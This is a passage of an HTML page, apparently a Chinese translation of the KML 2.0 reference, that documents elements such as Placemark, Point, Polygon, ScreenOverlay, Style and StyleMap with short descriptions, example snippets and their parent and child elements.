<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A>的子元素.指定添加的schema字段所继承的基本类型.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>High School<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#parent">&lt;parent&gt;</A>Placemark<A href="http://www.step1.cn/googleapi/map/kml.htm#parent">&lt;parent&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleField">&lt;SimpleField&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>Address<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A>wstring<A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleField">&lt;SimpleField&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleField">&lt;SimpleField&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>Average SAT score<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A>int<A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleField">&lt;SimpleField&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>一个已经存在的KML基本类型，查看KML基本类型获得更多信息.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=Placemark></A>
<H4>&lt;Placemark&gt;</H4>
<DIV class=desc>复合标签.用来描述一个地名标注.例如，可以用来描述一个地理坐标点，坐标必须以[经度,纬度,高度]来指定，而且:<BR><BR>经度: 在-180和180之间<BR>纬度:在-90和90<BR>高度:以米为单位的海拔高度(WGS84). 在地表面下面的点将会自动显示在地表面以上.<BR><BR>另外，你可以为placemark定义一系列其他的元素如视点、名称和描述.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>Queen Creek<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#longitude">&lt;longitude&gt;</A>-111.634<A href="http://www.step1.cn/googleapi/map/kml.htm#longitude">&lt;longitude&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#latitude">&lt;latitude&gt;</A>33.2407<A href="http://www.step1.cn/googleapi/map/kml.htm#latitude">&lt;latitude&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#range">&lt;range&gt;</A>5571.15<A href="http://www.step1.cn/googleapi/map/kml.htm#range">&lt;range&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#tilt">&lt;tilt&gt;</A>-0.0129749<A href="http://www.step1.cn/googleapi/map/kml.htm#tilt">&lt;tilt&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#heading">&lt;heading&gt;</A>-0.0651017<A href="http://www.step1.cn/googleapi/map/kml.htm#heading">&lt;heading&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;Look, At&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A>1<A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A>root://styleMaps#default?iconId=0x300<A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Point">&lt;Point&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A>-111.634,33.2486,413.037<A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Point">&lt;Point&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Point">&lt;Point&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=Point></A>
<H4>&lt;Point&gt;</H4>
<DIV class=desc>复合标签.定义地图上一个点的坐标.使用<A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A>指定坐标的位置.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Point">&lt;Point&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A>-111.965,33.3217,355.27 <A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Point">&lt;Point&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GeometryCollection">&lt;GeometryCollection&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=Polygon></A>
<H4>&lt;Polygon&gt;</H4>
<DIV class=desc>复合标签，在地图上定义一个多边形.默认使用<A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A>来定义各边.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR>-88.306534, 30.227852, 0.000000 ...... -88.306534, 30.227852, 0.000000<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GeometryCollection">&lt;GeometryCollection&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#innerBoundaryIs">&lt;innerBoundaryIs&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=PolyStyle></A>
<H4>&lt;PolyStyle&gt;</H4>
<DIV class=desc>复合标签.使用在<A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A>标签之中，为多边形指定样式<BR><BR></DIV>
<DL>
<DT>值: 
<DD>无.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#color">&lt;color&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#fill">&lt;fill&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#outline">&lt;outline&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=range></A>
<H4>&lt;range&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A>的子元素.描述当前视点的海拔，以米为单位.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#range">&lt;range&gt;</A>909.907<A href="http://www.step1.cn/googleapi/map/kml.htm#range">&lt;range&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>由视点的位置决定.<BR><BR>
<DT>父元素: 
<DD>只能被<A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A>包含.<BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=refreshInterval></A>
<H4>&lt;refreshInterval&gt;</H4>
<DIV class=desc>单一标签.用来指定刷新一个网络KML文件或图片标注的时间秒数.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#refreshVisibility">&lt;refreshVisibility&gt;</A>0<A href="http://www.step1.cn/googleapi/map/kml.htm#refreshVisibility">&lt;refreshVisibility&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#refreshInterval">&lt;refreshInterval&gt;</A>121<A href="http://www.step1.cn/googleapi/map/kml.htm#refreshInterval">&lt;refreshInterval&gt;</A><BR>&lt;<A href="http://www.step1.cn/googleapi/map/kml.htm#Url">&lt;Url&gt;</A>&gt;//myServer/GoogleEarth/example.kml&lt;/<A href="http://www.step1.cn/googleapi/map/kml.htm#Url">&lt;Url&gt;</A>&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A>1<A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>TestNetworkLink<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>以秒为单位.如果该值大于0，则该项每n秒刷新一次，如果该值小于0，则该项根本不会被加载，如果该值等于0，则该项会被加载一次而不会再被刷新.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=refreshVisibility></A>
<H4>&lt;refreshVisibility&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A>的子元素.指定网络KML文件被重新加载刷新的时候是否忽略KML文档之中各标注的默认可见性.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>默认值是0,即忽略KML文档中的默认可见性设置而使所有标注的可见性不变 . 更改为1既可以在每次网络KML文件被刷新之后重新根据KML文件内容设置标注的可见性. 例如，假设有一项在KML文件之中可见性设置为0，而且refreshVisibility设置为1，当文件第一次加载到Google Earth之中的时候，该项是不显示的如果用户通过点击该项的复选框而已经使该项显示出来，这种情况下该网络KML文件被刷新之后，该项又会重新变成不显示. <BR>翻译到这里，我只好感叹又学了一招，我刚才试了一下，果然不错，非常有用。 <BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=rotation></A>
<H4>&lt;rotation&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A>, <A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A>和<A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A>的子元素.用来指定图片围绕本身中心的旋转角.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>使用-180~+180的角度值来指定从0度开始的顺时针旋转角.0为默认值(不旋转)<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=Schema></A>
<H4>&lt;Schema&gt;</H4>
<DIV class=desc>复合标签.用来定义一个schema以便让KML理解并不被默认支持的语法.您可以用XML模式定义您自己的语法<BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>无. 
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#parent">&lt;parent&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ObjField">&lt;ObjField&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ObjArrayField">&lt;ObjArrayField&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleField">&lt;SimpleField&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleArrayField">&lt;SimpleArrayField&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=scale></A>
<H4>&lt;scale&gt;</H4>
<DIV class=desc>指定该标注横向、纵向的缩放倍数.<BR></DIV>
<DL>
<DT>值: 
<DD>从0-1的小数. <BR><BR>
<DT>父元素: 
<DD>被以下元素包含: <BR><A href="http://www.step1.cn/googleapi/map/kml.htm#IconStyle">&lt;IconStyle&gt;</A><BR>&lt;LabelStyle&gt;<BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=ScreenOverlay></A>
<H4>&lt;ScreenOverlay&gt;</H4>
<DIV class=desc>A 复合标签. 本标定义一个屏幕图片标注.将一个图片（以图片本身大小和纵横比）显示在屏幕的正中间的代码如下:<BR><BR>&lt;?xml version="1.0" encoding="UTF-8"?&gt;<BR>&lt;kml xmlns="http://earth.google.com/kml/2.0"&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay id="khScreenOverlay756"&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A>This screen overlay uses fractional positioning to put the image in the exact center of the screen<A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>Simple crosshairs<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A>0<A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A>http://myserver/myimage.jpg<A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#overlayXY">&lt;overlayXY x="0.5" y="0.5" xunits="fraction" yunits="fraction"/&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#screenXY">&lt;screenXY x="0.5" y="0.5" xunits="fraction" yunits="fraction"/&gt;</A><BR>&lt;rotationXY x="0.5" y="0.5" xunits="fraction" yunits="fraction"/&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#size">&lt;size x="0" y="0" xunits="pixels" yunits="pixels"/&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR>&lt;/kml&gt;<BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#drawOrder">&lt;drawOrder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A> (必需)<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#rotation">&lt;rotation&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#size">&lt;size&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#screenXY">&lt;screenXY&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#overlayXY">&lt;overlayXY&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=screenXY></A>
<H4>&lt;screenXY&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A>的子元素. 定义图片标注在屏幕上的绘制位置.例如,screenXY为(-50, .9)并且overlayXY为(1,1)将会使图片右上角离屏幕右边缘距离为50像素，距离屏幕顶端距离是屏幕高度的10%.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>x和y能够用以下方式指定:<BR><BR>将图片显示在屏幕的中间:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#overlayXY">&lt;overlayXY x="0.5" y="0.5" xunits="fraction" yunits="fraction"/&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#screenXY">&lt;screenXY x="0.5" y="0.5" xunits="fraction" yunits="fraction"/&gt;</A><BR><BR>将图片显示在屏幕的左上角:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#overlayXY">&lt;overlayXY x="0" y="1" xunits="fraction" yunits="fraction"/&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#screenXY">&lt;screenXY x="0" y="1" xunits="fraction" yunits="fraction"/&gt;</A><BR><BR>将图片显示在屏幕的右边:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#overlayXY">&lt;overlayXY x="1" y="1" xunits="fraction" yunits="fraction"/&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#screenXY">&lt;screenXY x="1" y="1" xunits="fraction" yunits="fraction"/&gt;</A><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=SimpleArrayField></A>
<H4>&lt;SimpleArrayField&gt;</H4>
<DIV class=desc>复合标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A>的子元素.用来定义单个字段类型的数组例如整数数组、浮点数数组或字符串数组.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=SimpleField></A>
<H4>&lt;SimpleField&gt;</H4>
<DIV class=desc>复合标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A>的子元素.用来定义单个字段类型例如整数、浮点数或字符串.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleField">&lt;SimpleField&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>height<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A>int<A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleField">&lt;SimpleField&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=size></A>
<H4>&lt;size&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A>.的子元素.用来指定图片的大小.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>用法如下. <BR><BR>使用图片本身的大小和纵横比,应将值设成0:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#size">&lt;size x="0" y="0" xunits="fraction" yunits="fraction"/&gt;</A><BR><BR>使图片宽度不变，高度变为原来的80%:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#size">&lt;size x="0" y="0.2" xunits="fraction" yunits="fraction"/&gt;</A><BR><BR>强制图片大小为100*500:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#size">&lt;size x="100" y="500" xunits="pixels" yunits="pixels"/&gt;</A><BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=south></A>
<H4>&lt;south&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A>.的子元素.指定图片标注底边缘的纬度值.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#south">&lt;south&gt;</A>38.5209<A href="http://www.step1.cn/googleapi/map/kml.htm#south">&lt;south&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>由图片标记所描述的实际地理位置决定，经度和纬度以度数表示<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=snippet></A>
<H4>&lt;snippet&gt;</H4>
<DIV class=desc>单一标签，用来显示在Google Earth之中的对description的简短概要.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>任意值<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=Style></A>
<H4>&lt;Style&gt;</H4>
<DIV class=desc>复合标签，用来指定显示样式诸如自定义图标、几何形状、颜色和标签大小. 样式被标注和几何形状通过ID来引用，因此你可以让多个标注或几何形状共享一个样式.<BR><BR>注意:为了被引用，样式必须有一个ID属性.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style id="myStyle"&gt;</A><BR>&lt;polyMode&gt;outlineFill&lt;/polyMode&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#geomScale">&lt;geomScale&gt;</A>1<A href="http://www.step1.cn/googleapi/map/kml.htm#geomScale">&lt;geomScale&gt;</A><BR>&lt;labelScale&gt;1&lt;/labelScale&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#geomColor">&lt;geomColor&gt;</A>ff0000ff<A href="http://www.step1.cn/googleapi/map/kml.htm#geomColor">&lt;geomColor&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A><BR><BR>你也可以在<A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A>元素内部定义一个<A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A>，这个样式就是该标注的本地样式，因此会覆盖所有的相应的引用样式(例如从<A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A>引用的样式)的设置.基于性能考虑，应该尽量少使用本地样式.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>样式有一个ID属性，在样式被引用的时候使用.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR>&lt;polyMode&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#geomScale">&lt;geomScale&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#geomColor">&lt;geomColor&gt;</A><BR>&lt;labelScale&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#labelColor">&lt;labelColor&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=StyleMap></A>
<H4>&lt;StyleMap&gt;</H4>
<DIV class=desc>复合标签.用来对标注进行第二层的样式表引用.例如当一个地名标注存在<B>正常</B>和<B>高亮</B>两种图标的时候使用<A href="http://www.step1.cn/googleapi/map/kml.htm#StyleMap">&lt;StyleMap&gt;</A>元素.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleMap">&lt;StyleMap id="homestoremap"&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A><BR>&lt;key&gt;normal&lt;/key&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A>#homestoreoff<A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A><BR>&lt;key&gt;highlight&lt;/key&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A>#homestoreon<A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleMap">&lt;StyleMap&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>使用样式表ID作为该元素的ID属性<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=StyleUrl></A>
<H4>&lt;styleUrl&gt;</H4>
